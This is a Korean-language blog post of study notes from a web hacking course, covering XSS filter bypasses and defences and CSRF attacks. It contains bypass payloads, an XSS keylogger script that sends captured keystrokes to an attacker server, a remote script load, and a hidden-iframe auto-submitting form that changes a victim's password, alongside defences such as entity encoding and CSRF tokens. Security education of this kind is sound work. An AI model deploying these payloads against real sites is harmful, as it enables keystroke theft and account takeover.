- XSS Bypass (우회 방법)
> Anti XSS Bypass
-> Black List 필터링
--> WAF의 기본 속성 (Web Application Firewall)
ex ) <script> 만 들어가면 연결이 안되게
<script>alert(1) 까지 쓰면 안된다거나
[1] Client Side 검증 우회
-> Burp Suite (프록시 툴) 이용하면 됨
javascript
<script< >
[2] Script Load
", ', alert function
<script src=http://normaltic.com/hack.js></script>
글자 제한이 있을 때 미리 짜놓은 스크립트를 준비해놓고 src로 주입가능
[3]대소문자 혼용
<script> -> <ScRiPt>
[4] 필터링 되는 문자
<script> -> <scrscriptipt>
실무에서 많이 볼 수 있는 우회 기법
[5] EventHandler
이벤트 핸들러에는 javascript를 넣을 수 있는데, 여기에 주입하고자 하는 악성
스크립트를 넣는다.
<img src=x onerror="alert(1)">
onactivate
onload
onmouseover
<svg> <audio src="http://~~" onplay="" autoplay>
등등등
Black List 기반의 필터링이기 때문에 수많은 이벤트 핸들러 중 뚫릴 만한 여지가 있다.
참고할만한 좋은 사이트 : 이벤트 핸들러의 종류들이 나열되어 있음
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
** XSS 대응 방안
SQL Injection 처럼 근본적인 대응 방법이 존재
-> HTML 특수문자들을 HTML Entity 표현 방식으로 전환하면 됨
< <
> >
임을 이용해서
<script>
<script>
근데 모든 개발자들이 모든 파라미터에 이 치환필터를 넣지를 못함
xss 7 의 본 취약점
-> 회원가입할 때 normalxss<script>alert(1);</script>
그런데 이건 어떻게 공격으로 연결시킬까?
POST 방식을 GET방식으로 바꿔서 링크를 딴다. 그 후, 살포해서 공격 가능
keylogger 삽입
KeyLogger 코드
-- XSS Keylogger
var keys = "";
var hackUrl = '공격서버 url'
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
if(keys != '') {
new Image().src = hackUrl + keys;
keys = '';
}
}, 200);
이 코드를 예를 들어 attack.js라는 파일로 만들어서
회원가입 시에 스크립트를 삽입할 수 있음
그러나 삽입한 키로거가 유효한 영역은 삽입했던 그 페이지에 한해서이다.
따라서 다른 게시판으로 넘어가거나 페이지를 이동하게 되면 keylogger가 사라진다.
그럴때는 페이지 소스보기를 이용한
피싱 사이트를 만들면 되는데,
그리고 location.href 를 이용하는데,
html의 base를 이용하면 css 이슈가 생기지 않는다.
<base src="피싱하려는 페이지의 url">
or
HTML OverWriting
XSS에는 HTML코드도 주입할 수 있음
결론 : *** 대응 방안
HTML -> HTML Entity로 치환한다!
*** 그러나 Entity가 안되는 곳
HTML Editor는 안된다
Step 1. HTML 특수문자를 -> HTML Entity로 치환한다!
<img src = >
<img src= >
Step 2. White List 기반으로 살려줄 (허용해줄) 태그를 살려준다.
img, p, a,
<img src= >
Step 3. Black List 기반으로 event Handler를 필터링
onerror, onload
<img src= >
* CSRF (Cross Site Request Forgery)
> 의도하지 않았던 요청을 서버에게 보내게 만드는 공격
** 피해자의 세션을 활용.
modMember.php?newpass=1234
따라서 피해자가 로그인 되어있는 상태여야함
따라서 다음과 같은 곳에서 효과적임
ex ) 게시판, 메일함.
* 어디서 발생할까?
모든 요청에서 발생. 그러나 모든 요청이 위험한 건 아님
---> 민감한 요청 (여기서 이 공격이 위험할지에 대한 판단이 필요)
ex ) 비밀번호 변경, 이메일주소 변경.
관리자 계정 등록 등....
[1] GET METHOD
[2] POST Method
CSRF VS XSS
> 서로 완전 다른 공격
CSRF
-> 피해자가 자신의 의도와는 다르게, 자신도 모르게 서버로
임의의 요청을 하게 만드는 공격
-> XSS 취약점을 활용.
> 같은 도메인 내에서 찾아야 CORS 보안 정책에 위배되지 않음
이 form 태그를 삽입하는 것도 일종의 XSS 공격
<form method="POST">
<input>
</form>
POST 방식일 때 CSRF 공격하는 기본 코드
Hello, world!
Click This!!!
<form method="POST" action="copy URL">
<input type="hidden" name="" value="bokyu@test.com">
<input type="submit" value="Click Me!">
</form>
or
아래 링크좀 확인해주세요....
<a href=# onclick="">이상한 주소</a>
좀 더 세련되게 CSRF 공격하는 법 (XSS 활용)
Hello, world!
//폭/너비/테두리 0의 iframe 생성하는 스킬, 그리고 브라우저마다 점으로 찍히는 경우도 있어서
//style=display none 까지 확실하게 추가
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe"
style="display: none;">
</iframe>
//form태그에 target 속성을 줘서 iframe을 추가할 수 있음
<form method="POST" action="copy URL" target="stealthframe">
<input type="hidden" name="" value="bokyu@test.com">
<input type="submit" value="Click Me!">
</form>
<script>
document.forms[0].submit();
</script>
게시글을 보기만해도 비밀번호 변경 요청을 보낼 수 있음
[3] Referer Check?
Referer : 이 요청이 어디에서 한 건지.
비밀번호 변경 요청
if referer 헤더가 있으면
-> 검사 시작.
->
else referer 헤더가 없으면
-> 그냥 고!
> 개발자들은 이 웹이 범용적으로 쓰이길 바라기 때문에
meta 태그를 쓰면 referrer를 보내지 않음
<meta name="referrer" content="no-referrer">
[4] CSRF Token
> 오로지 CSRF를 막기 위해서 만들었음
CSRF Token 생성 -> 세션.
<iframe src=>
<script>
</script>
'해킹 > Web Hacking' 카테고리의 다른 글
[10주차] 해킹 스터디 정리 - File Upload 공격 (0) | 2023.06.01 |
---|---|
[9주차] 해킹 스터디 정리 - CSRF Token, SSRF, File Upload 공격 (0) | 2023.05.25 |
[7주차] 해킹 스터디 정리 - Reflected XSS, DOM XSS (0) | 2023.05.13 |
[6주차] 해킹 스터디 정리 - SQL Injection 복습, XSS (0) | 2023.05.04 |
[5주차] 스터디 정리 - Blind SQL Injection, 대응 방안 (0) | 2023.04.27 |